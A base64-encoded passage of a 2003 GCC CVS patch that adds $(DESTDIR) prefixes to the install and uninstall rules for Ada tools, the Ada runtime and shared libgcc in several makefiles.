CiAJICB0aGVuIFwNCi0JICAgICQoUk0pICQoYmluZGlyKS8kKHRhcmdldF9h bGlhcyktZ25hdHhyZWYkKGV4ZWV4dCk7IFwNCi0JICAgICQoSU5TVEFMTF9Q Uk9HUkFNKSBnbmF0eHJlZi1jcm9zcyQoZXhlZXh0KSAkKGJpbmRpcikvJCh0 YXJnZXRfYWxpYXMpLWduYXR4cmVmJChleGVleHQpOyBcDQorCSAgICAkKFJN KSAkKERFU1RESVIpJChiaW5kaXIpLyQodGFyZ2V0X2FsaWFzKS1nbmF0eHJl ZiQoZXhlZXh0KTsgXA0KKwkgICAgJChJTlNUQUxMX1BST0dSQU0pIGduYXR4 cmVmLWNyb3NzJChleGVleHQpICQoREVTVERJUikkKGJpbmRpcikvJCh0YXJn ZXRfYWxpYXMpLWduYXR4cmVmJChleGVleHQpOyBcDQogCSAgZWxzZSBcDQot CSAgICAkKFJNKSAkKGJpbmRpcikvZ25hdHhyZWYkKGV4ZWV4dCk7IFwNCi0J ICAgICQoSU5TVEFMTF9QUk9HUkFNKSBnbmF0eHJlZiQoZXhlZXh0KSAkKGJp bmRpcikvZ25hdHhyZWYkKGV4ZWV4dCk7IFwNCisJICAgICQoUk0pICQoREVT VERJUikkKGJpbmRpcikvZ25hdHhyZWYkKGV4ZWV4dCk7IFwNCisJICAgICQo SU5TVEFMTF9QUk9HUkFNKSBnbmF0eHJlZiQoZXhlZXh0KSAkKERFU1RESVIp JChiaW5kaXIpL2duYXR4cmVmJChleGVleHQpOyBcDQogCSAgZmkgOyBcDQog ICAgIGZpDQogCS1pZiBbIC1mIGduYXQxJChleGVleHQpIF0gOyBcDQogCXRo ZW4gXA0KIAkgIGlmIFsgLWYgZ25hdGZpbmQtY3Jvc3MkKGV4ZWV4dCkgXSA7 IFwNCiAJICB0aGVuIFwNCi0JICAgICQoUk0pICQoYmluZGlyKS8kKHRhcmdl dF9hbGlhcyktZ25hdGZpbmQkKGV4ZWV4dCk7IFwNCi0JICAgICQoSU5TVEFM TF9QUk9HUkFNKSBnbmF0ZmluZC1jcm9zcyQoZXhlZXh0KSAkKGJpbmRpcikv JCh0YXJnZXRfYWxpYXMpLWduYXRmaW5kJChleGVleHQpOyBcDQorCSAgICAk KFJNKSAkKERFU1RESVIpJChiaW5kaXIpLyQodGFyZ2V0X2FsaWFzKS1nbmF0 ZmluZCQoZXhlZXh0KTsgXA0KKwkgICAgJChJTlNUQUxMX1BST0dSQU0pIGdu YXRmaW5kLWNyb3NzJChleGVleHQpICQoREVTVERJUikkKGJpbmRpcikvJCh0 YXJnZXRfYWxpYXMpLWduYXRmaW5kJChleGVleHQpOyBcDQogCSAgZWxzZSBc DQotCSAgICAkKFJNKSAkKGJpbmRpcikvZ25hdGZpbmQkKGV4ZWV4dCk7IFwN Ci0JICAgICQoSU5TVEFMTF9QUk9HUkFNKSBnbmF0ZmluZCQoZXhlZXh0KSAk KGJpbmRpcikvZ25hdGZpbmQkKGV4ZWV4dCk7IFwNCisJICAgICQoUk0pICQo REVTVERJUikkKGJpbmRpcikvZ25hdGZpbmQkKGV4ZWV4dCk7IFwNCisJICAg ICQoSU5TVEFMTF9QUk9HUkFNKSBnbmF0ZmluZCQoZXhlZXh0KSAkKERFU1RE SVIpJChiaW5kaXIpL2duYXRmaW5kJChleGVleHQpOyBcDQogCSAgZmkgOyBc DQogCWZpDQogCS1pZiBbIC1mIGduYXQxJChleGVleHQpIF0gOyBcDQogCXRo ZW4gXA0KIAkgIGlmIFsgLWYgZ25hdGNob3AkKGV4ZWV4dCkgXSA7IFwNCiAJ ICB0aGVuIFwNCi0JICAgICQoUk0pICQoYmluZGlyKS9nbmF0Y2hvcCQoZXhl ZXh0KTsgXA0KLQkgICAgJChJTlNUQUxMX1BST0dSQU0pIGduYXRjaG9wJChl eGVleHQpICQoYmluZGlyKS9nbmF0Y2hvcCQoZXhlZXh0KTsgXA0KKwkgICAg JChSTSkgJChERVNURElSKSQoYmluZGlyKS9nbmF0Y2hvcCQoZXhlZXh0KTsg XA0KKwkgICAgJChJTlNUQUxMX1BST0dSQU0pIGduYXRjaG9wJChleGVleHQp ICQoREVTVERJUikkKGJpbmRpcikvZ25hdGNob3AkKGV4ZWV4dCk7IFwNCiAJ ICBmaSA7IFwNCiAjDQogIyBHbmF0bGJyIGlzIG9ubHkgdXNlZCBvbiBWTVMu DQpAQCAtNjg4LDggKzY4OCw4IEBADQogCXRoZW4gXA0KIAkgIGlmIFsgLWYg Z25hdGxiciQoZXhlZXh0KSBdIDsgXA0KIAkgIHRoZW4gXA0KLQkgICAgJChS TSkgJChiaW5kaXIpL2duYXRsYnIkKGV4ZWV4dCk7IFwNCi0JICAgICQoSU5T VEFMTF9QUk9HUkFNKSBnbmF0bGJyJChleGVleHQpICQoYmluZGlyKS9nbmF0 bGJyJChleGVleHQpOyBcDQorCSAgICAkKFJNKSAkKERFU1RESVIpJChiaW5k aXIpL2duYXRsYnIkKGV4ZWV4dCk7IFwNCisJICAgICQoSU5TVEFMTF9QUk9H UkFNKSBnbmF0bGJyJChleGVleHQpICQoREVTVERJUikkKGJpbmRpcikvZ25h dGxiciQoZXhlZXh0KTsgXA0KIAkgIGZpIDsgXA0KIAlmaQ0KICMNCkBAIC02 OTcsOCArNjk3LDggQEANCiAjDQogCS1pZiBbIC1mIGduYXQxJChleGVleHQp IF0gOyBcDQogCXRoZW4gXA0KLQkgICAgJChSTSkgJChiaW5kaXIpL2duYXRk bGwkKGV4ZWV4dCk7IFwNCi0JICAgICQoSU5TVEFMTF9QUk9HUkFNKSBnbmF0 ZGxsJChleGVleHQpICQoYmluZGlyKS9nbmF0ZGxsJChleGVleHQpOyBcDQor CSAgICAkKFJNKSAkKERFU1RESVIpJChiaW5kaXIpL2duYXRkbGwkKGV4ZWV4 dCk7IFwNCisJICAgICQoSU5TVEFMTF9QUk9HUkFNKSBnbmF0ZGxsJChleGVl eHQpICQoREVTVERJUikkKGJpbmRpcikvZ25hdGRsbCQoZXhlZXh0KTsgXA0K IAlmaQ0KICMNCiAjIEZpbmFsbHksIGluc3RhbGwgdGhlIGxpYnJhcnkNCkBA IC03MTUsNDYgKzcxNSw0NiBAQA0KIGFkYS5pbnN0YWxsLW1hbjoNCiANCiBh ZGEudW5pbnN0YWxsOg0KLQktJChSTSkgJChiaW5kaXIpL2duYXRiaW5kJChl eGVleHQpDQotCS0kKFJNKSAkKGJpbmRpcikvZ25hdGJsJChleGVleHQpDQot CS0kKFJNKSAkKGJpbmRpcikvZ25hdGNob3AkKGV4ZWV4dCkNCi0JLSQoUk0p ICQoYmluZGlyKS9nbmF0JChleGVleHQpDQotCS0kKFJNKSAkKGJpbmRpcikv Z25hdGRsbCQoZXhlZXh0KQ0KLQktJChSTSkgJChiaW5kaXIpL2duYXRrciQo ZXhlZXh0KQ0KLQktJChSTSkgJChiaW5kaXIpL2duYXRsaW5rJChleGVleHQp DQotCS0kKFJNKSAkKGJpbmRpcikvZ25hdGxzJChleGVleHQpDQotCS0kKFJN KSAkKGJpbmRpcikvZ25hdG1ha2UkKGV4ZWV4dCkNCi0JLSQoUk0pICQoYmlu ZGlyKS9nbmF0bWVtJChleGVleHQpDQotCS0kKFJNKSAkKGJpbmRpcikvZ25h dG5hbWUkKGV4ZWV4dCkNCi0JLSQoUk0pICQoYmluZGlyKS9nbmF0cHJlcCQo ZXhlZXh0KQ0KLQktJChSTSkgJChiaW5kaXIpL2duYXRwc3RhJChleGVleHQp DQotCS0kKFJNKSAkKGJpbmRpcikvJCh0YXJnZXRfYWxpYXMpLWduYXRiaW5k JChleGVleHQpDQotCS0kKFJNKSAkKGJpbmRpcikvJCh0YXJnZXRfYWxpYXMp LWduYXRibCQoZXhlZXh0KQ0KLQktJChSTSkgJChiaW5kaXIpLyQodGFyZ2V0 X2FsaWFzKS1nbmF0Y2hvcCQoZXhlZXh0KQ0KLQktJChSTSkgJChiaW5kaXIp LyQodGFyZ2V0X2FsaWFzKS1nbmF0JChleGVleHQpDQotCS0kKFJNKSAkKGJp bmRpcikvJCh0YXJnZXRfYWxpYXMpLWduYXRrcihleGVleHQpDQotCS0kKFJN KSAkKGJpbmRpcikvJCh0YXJnZXRfYWxpYXMpLWduYXRsaW5rJChleGVleHQp DQotCS0kKFJNKSAkKGJpbmRpcikvJCh0YXJnZXRfYWxpYXMpLWduYXRscyQo ZXhlZXh0KQ0KLQktJChSTSkgJChiaW5kaXIpLyQodGFyZ2V0X2FsaWFzKS1n bmF0bWFrZSQoZXhlZXh0KQ0KLQktJChSTSkgJChiaW5kaXIpLyQodGFyZ2V0 X2FsaWFzKS1nbmF0bWVtJChleGVleHQpDQotCS0kKFJNKSAkKGJpbmRpcikv JCh0YXJnZXRfYWxpYXMpLWduYXRuYW1lJChleGVleHQpDQotCS0kKFJNKSAk KGJpbmRpcikvJCh0YXJnZXRfYWxpYXMpLWduYXRwcmVwJChleGVleHQpDQot CS0kKFJNKSAkKGJpbmRpcikvJCh0YXJnZXRfYWxpYXMpLWduYXRwc3RhJChl eGVleHQpDQotCS0kKFJNKSAkKHRvb2xkaXIpL2Jpbi9nbmF0YmluZCQoZXhl ZXh0KQ0KLQktJChSTSkgJCh0b29sZGlyKS9iaW4vZ25hdGJsJChleGVleHQp DQotCS0kKFJNKSAkKHRvb2xkaXIpL2Jpbi9nbmF0Y2hvcCQoZXhlZXh0KQ0K LQktJChSTSkgJCh0b29sZGlyKS9iaW4vZ25hdCQoZXhlZXh0KQ0KLQktJChS TSkgJCh0b29sZGlyKS9iaW4vZ25hdGRsbCQoZXhlZXh0KQ0KLQktJChSTSkg JCh0b29sZGlyKS9iaW4vZ25hdGtyJChleGVleHQpDQotCS0kKFJNKSAkKHRv b2xkaXIpL2Jpbi9nbmF0bGluayQoZXhlZXh0KQ0KLQktJChSTSkgJCh0b29s ZGlyKS9iaW4vZ25hdGxzJChleGVleHQpDQotCS0kKFJNKSAkKHRvb2xkaXIp L2Jpbi9nbmF0bWFrZSQoZXhlZXh0KQ0KLQktJChSTSkgJCh0b29sZGlyKS9i aW4vZ25hdG1lbSQoZXhlZXh0KQ0KLQktJChSTSkgJCh0b29sZGlyKS9iaW4v Z25hdG5hbWUkKGV4ZWV4dCkNCi0JLSQoUk0pICQodG9vbGRpcikvYmluL2du YXRwcmVwJChleGVleHQpDQotCS0kKFJNKSAkKHRvb2xkaXIpL2Jpbi9nbmF0 cHN0YSQoZXhlZXh0KQ0KKwktJChSTSkgJChERVNURElSKSQoYmluZGlyKS9n bmF0YmluZCQoZXhlZXh0KQ0KKwktJChSTSkgJChERVNURElSKSQoYmluZGly KS9nbmF0YmwkKGV4ZWV4dCkNCisJLSQoUk0pICQoREVTVERJUikkKGJpbmRp cikvZ25hdGNob3AkKGV4ZWV4dCkNCisJLSQoUk0pICQoREVTVERJUikkKGJp bmRpcikvZ25hdCQoZXhlZXh0KQ0KKwktJChSTSkgJChERVNURElSKSQoYmlu ZGlyKS9nbmF0ZGxsJChleGVleHQpDQorCS0kKFJNKSAkKERFU1RESVIpJChi aW5kaXIpL2duYXRrciQoZXhlZXh0KQ0KKwktJChSTSkgJChERVNURElSKSQo YmluZGlyKS9nbmF0bGluayQoZXhlZXh0KQ0KKwktJChSTSkgJChERVNURElS KSQoYmluZGlyKS9nbmF0bHMkKGV4ZWV4dCkNCisJLSQoUk0pICQoREVTVERJ UikkKGJpbmRpcikvZ25hdG1ha2UkKGV4ZWV4dCkNCisJLSQoUk0pICQoREVT VERJUikkKGJpbmRpcikvZ25hdG1lbSQoZXhlZXh0KQ0KKwktJChSTSkgJChE RVNURElSKSQoYmluZGlyKS9nbmF0bmFtZSQoZXhlZXh0KQ0KKwktJChSTSkg JChERVNURElSKSQoYmluZGlyKS9nbmF0cHJlcCQoZXhlZXh0KQ0KKwktJChS TSkgJChERVNURElSKSQoYmluZGlyKS9nbmF0cHN0YSQoZXhlZXh0KQ0KKwkt JChSTSkgJChERVNURElSKSQoYmluZGlyKS8kKHRhcmdldF9hbGlhcyktZ25h dGJpbmQkKGV4ZWV4dCkNCisJLSQoUk0pICQoREVTVERJUikkKGJpbmRpcikv JCh0YXJnZXRfYWxpYXMpLWduYXRibCQoZXhlZXh0KQ0KKwktJChSTSkgJChE RVNURElSKSQoYmluZGlyKS8kKHRhcmdldF9hbGlhcyktZ25hdGNob3AkKGV4 ZWV4dCkNCisJLSQoUk0pICQoREVTVERJUikkKGJpbmRpcikvJCh0YXJnZXRf YWxpYXMpLWduYXQkKGV4ZWV4dCkNCisJLSQoUk0pICQoREVTVERJUikkKGJp bmRpcikvJCh0YXJnZXRfYWxpYXMpLWduYXRrcihleGVleHQpDQorCS0kKFJN KSAkKERFU1RESVIpJChiaW5kaXIpLyQodGFyZ2V0X2FsaWFzKS1nbmF0bGlu ayQoZXhlZXh0KQ0KKwktJChSTSkgJChERVNURElSKSQoYmluZGlyKS8kKHRh cmdldF9hbGlhcyktZ25hdGxzJChleGVleHQpDQorCS0kKFJNKSAkKERFU1RE SVIpJChiaW5kaXIpLyQodGFyZ2V0X2FsaWFzKS1nbmF0bWFrZSQoZXhlZXh0 KQ0KKwktJChSTSkgJChERVNURElSKSQoYmluZGlyKS8kKHRhcmdldF9hbGlh cyktZ25hdG1lbSQoZXhlZXh0KQ0KKwktJChSTSkgJChERVNURElSKSQoYmlu ZGlyKS8kKHRhcmdldF9hbGlhcyktZ25hdG5hbWUkKGV4ZWV4dCkNCisJLSQo Uk0pICQoREVTVERJUikkKGJpbmRpcikvJCh0YXJnZXRfYWxpYXMpLWduYXRw cmVwJChleGVleHQpDQorCS0kKFJNKSAkKERFU1RESVIpJChiaW5kaXIpLyQo dGFyZ2V0X2FsaWFzKS1nbmF0cHN0YSQoZXhlZXh0KQ0KKwktJChSTSkgJChE RVNURElSKSQodG9vbGRpcikvYmluL2duYXRiaW5kJChleGVleHQpDQorCS0k KFJNKSAkKERFU1RESVIpJCh0b29sZGlyKS9iaW4vZ25hdGJsJChleGVleHQp DQorCS0kKFJNKSAkKERFU1RESVIpJCh0b29sZGlyKS9iaW4vZ25hdGNob3Ak KGV4ZWV4dCkNCisJLSQoUk0pICQoREVTVERJUikkKHRvb2xkaXIpL2Jpbi9n bmF0JChleGVleHQpDQorCS0kKFJNKSAkKERFU1RESVIpJCh0b29sZGlyKS9i aW4vZ25hdGRsbCQoZXhlZXh0KQ0KKwktJChSTSkgJChERVNURElSKSQodG9v bGRpcikvYmluL2duYXRrciQoZXhlZXh0KQ0KKwktJChSTSkgJChERVNURElS KSQodG9vbGRpcikvYmluL2duYXRsaW5rJChleGVleHQpDQorCS0kKFJNKSAk KERFU1RESVIpJCh0b29sZGlyKS9iaW4vZ25hdGxzJChleGVleHQpDQorCS0k KFJNKSAkKERFU1RESVIpJCh0b29sZGlyKS9iaW4vZ25hdG1ha2UkKGV4ZWV4 dCkNCisJLSQoUk0pICQoREVTVERJUikkKHRvb2xkaXIpL2Jpbi9nbmF0bWVt JChleGVleHQpDQorCS0kKFJNKSAkKERFU1RESVIpJCh0b29sZGlyKS9iaW4v Z25hdG5hbWUkKGV4ZWV4dCkNCisJLSQoUk0pICQoREVTVERJUikkKHRvb2xk aXIpL2Jpbi9nbmF0cHJlcCQoZXhlZXh0KQ0KKwktJChSTSkgJChERVNURElS KSQodG9vbGRpcikvYmluL2duYXRwc3RhJChleGVleHQpDQogIyBHbmF0bGJy IGFuZCBHbmF0Y2hvcCBhcmUgb25seSB1c2VkIG9uIFZNUw0KLQktJChSTSkg JChiaW5kaXIpL2duYXRsYnIkKGV4ZWV4dCkgJChiaW5kaXIpL2duYXRjaG9w JChleGVleHQpDQorCS0kKFJNKSAkKERFU1RESVIpJChiaW5kaXIpL2duYXRs YnIkKGV4ZWV4dCkgJChERVNURElSKSQoYmluZGlyKS9nbmF0Y2hvcCQoZXhl ZXh0KQ0KIA0KICMgQ2xlYW4gaG9va3M6DQogIyBBIGxvdCBvZiB0aGUgYW5j aWxsYXJ5IGZpbGVzIGFyZSBkZWxldGVkIGJ5IHRoZSBtYWluIG1ha2VmaWxl Lg0KSW5kZXg6IGdjYy9hZGEvTWFrZWZpbGUuaW4NCj09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT0NClJDUyBmaWxlOiAvdXNyL2xvY2FsL3NyYy9jdnMvZ2NjLWN2 cy9nY2MvZ2NjL2FkYS9NYWtlZmlsZS5pbix2DQpyZXRyaWV2aW5nIHJldmlz aW9uIDEuMzYNCmRpZmYgLXUgLXIxLjM2IE1ha2VmaWxlLmluDQotLS0gZ2Nj L2FkYS9NYWtlZmlsZS5pbgkyNCBTZXAgMjAwMiAwMzo0NDozMiAtMDAwMAkx LjM2DQorKysgZ2NjL2FkYS9NYWtlZmlsZS5pbgkxMiBKYW4gMjAwMyAxODo0 ODo1OSAtMDAwMA0KQEAgLTE3MTEsMzggKzE3MTEsMzggQEANCiAjCUNyZWF0 ZSB0aGUgZGlyZWN0b3J5IGJlZm9yZSBkZWxldGluZyBpdCwgaW4gY2FzZSB0 aGUgZGlyZWN0b3J5IGlzDQogIwlhIGxpc3Qgb2YgZGlyZWN0b3JpZXMgKGFz IGl0IG1heSBiZSBvbiBWTVMpLiBUaGlzIGVuc3VyZXMgd2UgYXJlDQogIwlk ZWxldGluZyB0aGUgcmlnaHQgb25lLg0KLQktJChNS0RJUikgJChBREFfUlRM X09CSl9ESVIpDQotCS0kKE1LRElSKSAkKEFEQV9JTkNMVURFX0RJUikNCi0J JChSTURJUikgJChBREFfUlRMX09CSl9ESVIpDQotCSQoUk1ESVIpICQoQURB X0lOQ0xVREVfRElSKQ0KLQktJChNS0RJUikgJChBREFfUlRMX09CSl9ESVIp DQotCS0kKE1LRElSKSAkKEFEQV9JTkNMVURFX0RJUikNCi0JLSQoSU5TVEFM TF9EQVRBKSBhZGEvcnRzL01ha2VmaWxlLmFkYWxpYiAkKEFEQV9SVExfT0JK X0RJUikNCisJLSQoTUtESVIpICQoREVTVERJUikkKEFEQV9SVExfT0JKX0RJ UikNCisJLSQoTUtESVIpICQoREVTVERJUikkKEFEQV9JTkNMVURFX0RJUikN CisJJChSTURJUikgJChERVNURElSKSQoQURBX1JUTF9PQkpfRElSKQ0KKwkk KFJNRElSKSAkKERFU1RESVIpJChBREFfSU5DTFVERV9ESVIpDQorCS0kKE1L RElSKSAkKERFU1RESVIpJChBREFfUlRMX09CSl9ESVIpDQorCS0kKE1LRElS KSAkKERFU1RESVIpJChBREFfSU5DTFVERV9ESVIpDQorCS0kKElOU1RBTExf REFUQSkgYWRhL3J0cy9NYWtlZmlsZS5hZGFsaWIgJChERVNURElSKSQoQURB X1JUTF9PQkpfRElSKQ0KIAlmb3IgZmlsZSBpbiBhZGEvcnRzLyouYWxpOyBk byBcDQotCSAgICAkKElOU1RBTExfREFUQSkgJCRmaWxlICQoQURBX1JUTF9P QkpfRElSKTsgXA0KKwkgICAgJChJTlNUQUxMX0RBVEEpICQkZmlsZSAkKERF U1RESVIpJChBREFfUlRMX09CSl9ESVIpOyBcDQogCWRvbmUNCiAJLWZvciBm aWxlIGluIGFkYS9ydHMvKiQoYXJleHQpO2RvIFwNCi0JICAgICQoSU5TVEFM TF9EQVRBKSAkJGZpbGUgJChBREFfUlRMX09CSl9ESVIpOyBcDQorCSAgICAk KElOU1RBTExfREFUQSkgJCRmaWxlICQoREVTVERJUikkKEFEQV9SVExfT0JK X0RJUik7IFwNCiAJZG9uZQ0KIGlmZXEgKCQoc3RyaXAgJChmaWx0ZXItb3V0 IGFscGhhJSBkZWMgdm1zJSBvcGVudm1zJSBhbHBoYXZtcyUsJCh0YXJnKSkp LCkNCiAJLWZvciBmaWxlIGluIGFkYS9ydHMvbGliKiQoc29leHQpO2RvIFwN Ci0JICAgICQoSU5TVEFMTF9EQVRBKSAkJGZpbGUgJChBREFfUlRMX09CSl9E SVIpOyBcDQorCSAgICAkKElOU1RBTExfREFUQSkgJCRmaWxlICQoREVTVERJ UikkKEFEQV9SVExfT0JKX0RJUik7IFwNCiAJZG9uZQ0KIGVsc2UNCiAJLWZv ciBmaWxlIGluIGFkYS9ydHMvbGliKi0qKiQoc29leHQpO2RvIFwNCi0JICAg ICQoSU5TVEFMTF9EQVRBKSAkJGZpbGUgJChBREFfUlRMX09CSl9ESVIpOyBc DQorCSAgICAkKElOU1RBTExfREFUQSkgJCRmaWxlICQoREVTVERJUikkKEFE QV9SVExfT0JKX0RJUik7IFwNCiAJZG9uZQ0KIGVuZGlmDQotCS0kKExOX1Mp ICQoQURBX1JUTF9PQkpfRElSKS9saWJnbmF0LSokKHNvZXh0KSBcDQotCSAg ICAgICAkKEFEQV9SVExfT0JKX0RJUikvbGliZ25hdCQoc29leHQpDQotCS0k KExOX1MpICQoQURBX1JUTF9PQkpfRElSKS9saWJnbmFybC0qJChzb2V4dCkg XA0KLQkgICAgICAgJChBREFfUlRMX09CSl9ESVIpL2xpYmduYXJsJChzb2V4 dCkNCisJLSggY2QgJChERVNURElSKSQoQURBX1JUTF9PQkpfRElSKSAmJiBc DQorCSAgJChMTl9TKSBsaWJnbmF0LSokKHNvZXh0KSBsaWJnbmF0JChzb2V4 dCkgKQ0KKwktKCBjZCAkKERFU1RESVIpJChBREFfUlRMX09CSl9ESVIpICYm IFwNCisJICAkKExOX1MpIGxpYmduYXJsLSokKHNvZXh0KSBsaWJnbmFybCQo c29leHQpICkNCiAjIFRoaXMgY29weSBtdXN0IGJlIGRvbmUgcHJlc2Vydmlu ZyB0aGUgZGF0ZSBvbiB0aGUgb3JpZ2luYWwgZmlsZS4NCiAJZm9yIGZpbGUg aW4gYWRhL3J0cy8qLmFkYiBhZGEvcnRzLyouYWRzOyBkbyBcDQotCSAgICAk KElOU1RBTExfREFUQV9EQVRFKSAkJGZpbGUgJChBREFfSU5DTFVERV9ESVIp OyBcDQorCSAgICAkKElOU1RBTExfREFUQV9EQVRFKSAkJGZpbGUgJChERVNU RElSKSQoQURBX0lOQ0xVREVfRElSKTsgXA0KIAlkb25lDQotCWNkICQoQURB X0lOQ0xVREVfRElSKTsgJChDSE1PRCkgYS13eCAqLmFkYg0KLQljZCAkKEFE QV9JTkNMVURFX0RJUik7ICQoQ0hNT0QpIGEtd3ggKi5hZHMNCisJY2QgJChE RVNURElSKSQoQURBX0lOQ0xVREVfRElSKTsgJChDSE1PRCkgYS13eCAqLmFk Yg0KKwljZCAkKERFU1RESVIpJChBREFfSU5DTFVERV9ESVIpOyAkKENITU9E KSBhLXd4ICouYWRzDQogDQogLi4vc3RhbXAtZ25hdGxpYjI6DQogCSQoUk0p IHJ0cy9zLSouYWxpDQpAQCAtMTg1NCw3ICsxODU0LDcgQEANCiAgICAgICAg IGVuZGlmDQogDQogaW5zdGFsbC1ydHM6IGZvcmNlDQotCSQoQ1ApIC1yIHJ0 cy0kKFJUU19OQU1FKSAkKGxpYnN1YmRpcikvDQorCSQoQ1ApIC1yIHJ0cy0k KFJUU19OQU1FKSAkKERFU1RESVIpJChsaWJzdWJkaXIpLw0KIA0KIHJ0cy1u b25lOiBmb3JjZQ0KIAkkKE1BS0UpICQoRkxBR1NfVE9fUEFTUykgcHJlcGFy ZS1ydHMgXA0KSW5kZXg6IGdjYy9jb25maWcvdC1zbGliZ2NjLWVsZi12ZXIN Cj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT0NClJDUyBmaWxlOiAvdXNyL2xvY2Fs L3NyYy9jdnMvZ2NjLWN2cy9nY2MvZ2NjL2NvbmZpZy90LXNsaWJnY2MtZWxm LXZlcix2DQpyZXRyaWV2aW5nIHJldmlzaW9uIDEuNA0KZGlmZiAtdSAtcjEu NCB0LXNsaWJnY2MtZWxmLXZlcg0KLS0tIGdjYy9jb25maWcvdC1zbGliZ2Nj LWVsZi12ZXIJOSBNYXkgMjAwMiAyMTowMTo1MyAtMDAwMAkxLjQNCisrKyBn Y2MvY29uZmlnL3Qtc2xpYmdjYy1lbGYtdmVyCTEyIEphbiAyMDAzIDE4OjQ4 OjU5IC0wMDAwDQpAQCAtMTksMTEgKzE5LDExIEBADQogIyAkKHNsaWJkaXIp IGRvdWJsZSBxdW90ZWQgdG8gcHJvdGVjdCBpdCBmcm9tIGV4cGFuc2lvbiB3 aGlsZSBidWlsZGluZw0KICMgbGliZ2NjLm1rLiAgV2Ugd2FudCB0aGlzIGRl bGF5ZWQgdW50aWwgYWN0dWFsIGluc3RhbGwgdGltZS4NCiBTSExJQl9JTlNU QUxMID0gXA0KLQkkJChTSEVMTCkgJCQoc3JjZGlyKS9ta2luc3RhbGxkaXJz ICQkKHNsaWJkaXIpJChTSExJQl9TTElCRElSX1FVQUwpOyBcDQorCSQkKFNI RUxMKSAkJChzcmNkaXIpL21raW5zdGFsbGRpcnMgJCQoREVTVERJUikkJChz bGliZGlyKSQoU0hMSUJfU0xJQkRJUl9RVUFMKTsgXA0KIAkkKElOU1RBTExf REFUQSkgJChTSExJQl9OQU1FKSBcDQotCSAgJCQoc2xpYmRpcikkKFNITElC X1NMSUJESVJfUVVBTCkvJChTSExJQl9TT05BTUUpOyBcDQotCXJtIC1mICQk KHNsaWJkaXIpJChTSExJQl9TTElCRElSX1FVQUwpLyQoU0hMSUJfU09MSU5L KTsgXA0KKwkgICQkKERFU1RESVIpJCQoc2xpYmRpcikkKFNITElCX1NMSUJE SVJfUVVBTCkvJChTSExJQl9TT05BTUUpOyBcDQorCXJtIC1mICQkKERFU1RE SVIpJCQoc2xpYmRpcikkKFNITElCX1NMSUJESVJfUVVBTCkvJChTSExJQl9T T0xJTkspOyBcDQogCSQoTE5fUykgJChTSExJQl9TT05BTUUpIFwNCi0JICAk JChzbGliZGlyKSQoU0hMSUJfU0xJQkRJUl9RVUFMKS8kKFNITElCX1NPTElO SykNCisJICAkJChERVNURElSKSQkKHNsaWJkaXIpJChTSExJQl9TTElCRElS X1FVQUwpLyQoU0hMSUJfU09MSU5LKQ0KIFNITElCX01LTUFQID0gJChzcmNk aXIpL21rbWFwLXN5bXZlci5hd2sNCiBTSExJQl9NQVBGSUxFUyA9ICQoc3Jj ZGlyKS9saWJnY2Mtc3RkLnZlcg0KSW5kZXg6IGdjYy9jb25maWcvdC1zbGli Z2NjLXNsZA0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KUkNTIGZpbGU6IC91 c3IvbG9jYWwvc3JjL2N2cy9nY2MtY3ZzL2djYy9nY2MvY29uZmlnL3Qtc2xp YmdjYy1zbGQsdg0KcmV0cmlldmluZyByZXZpc2lvbiAxLjMNCmRpZmYgLXUg LXIxLjMgdC1zbGliZ2NjLXNsZA0KLS0tIGdjYy9jb25maWcvdC1zbGliZ2Nj LXNsZAk5IE1heSAyMDAyIDIxOjAxOjUzIC0wMDAwCTEuMw0KKysrIGdjYy9j b25maWcvdC1zbGliZ2NjLXNsZAkxMiBKYW4gMjAwMyAxODo0ODo1OSAtMDAw MA0KQEAgLTE3LDExICsxNywxMSBAQA0KICMgJChzbGliZGlyKSBkb3VibGUg cXVvdGVkIHRvIHByb3RlY3QgaXQgZnJvbSBleHBhbnNpb24gd2hpbGUgYnVp bGRpbmcNCiAjIGxpYmdjYy5tay4gIFdlIHdhbnQgdGhpcyBkZWxheWVkIHVu dGlsIGFjdHVhbCBpbnN0YWxsIHRpbWUuDQogU0hMSUJfSU5TVEFMTCA9IFwN Ci0JJCQoU0hFTEwpICQkKHNyY2RpcikvbWtpbnN0YWxsZGlycyAkJChzbGli ZGlyKSQoU0hMSUJfU0xJQkRJUl9RVUFMKTsgXA0KKwkkJChTSEVMTCkgJCQo c3JjZGlyKS9ta2luc3RhbGxkaXJzICQkKERFU1RESVIpJCQoc2xpYmRpcikk KFNITElCX1NMSUJESVJfUVVBTCk7IFwNCiAJJChJTlNUQUxMX0RBVEEpICQo U0hMSUJfTkFNRSkgXA0KLQkgICQkKHNsaWJkaXIpJChTSExJQl9TTElCRElS X1FVQUwpLyQoU0hMSUJfU09OQU1FKTsgXA0KLQlybSAtZiAkJChzbGliZGly KSQoU0hMSUJfU0xJQkRJUl9RVUFMKS8kKFNITElCX1NPTElOSyk7IFwNCisJ ICAkJChERVNURElSKSQkKHNsaWJkaXIpJChTSExJQl9TTElCRElSX1FVQUwp LyQoU0hMSUJfU09OQU1FKTsgXA0KKwlybSAtZiAkJChERVNURElSKSQkKHNs aWJkaXIpJChTSExJQl9TTElCRElSX1FVQUwpLyQoU0hMSUJfU09MSU5LKTsg XA0KIAkkKExOX1MpICQoU0hMSUJfU09OQU1FKSBcDQotCSAgJCQoc2xpYmRp cikkKFNITElCX1NMSUJESVJfUVVBTCkvJChTSExJQl9TT0xJTkspDQorCSAg JCQoREVTVERJUikkJChzbGliZGlyKSQoU0hMSUJfU0xJQkRJUl9RVUFMKS8k KFNITElCX1NPTElOSykNCiBTSExJQl9NS01BUCA9ICQoc3JjZGlyKS9ta21h cC1zeW12ZXIuYXdrDQogU0hMSUJfTUFQRklMRVMgPSAkKHNyY2RpcikvbGli Z2NjLXN0ZC52ZXINCkluZGV4OiBnY2MvY29uZmlnL2FscGhhL3Qtb3NmNA0K PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PQ0KUkNTIGZpbGU6IC91c3IvbG9jYWwv c3JjL2N2cy9nY2MtY3ZzL2djYy9nY2MvY29uZmlnL2FscGhhL3Qtb3NmNCx2 DQpyZXRyaWV2aW5nIHJldmlzaW9uIDEuNQ0KZGlmZiAtdSAtcjEuNSB0LW9z 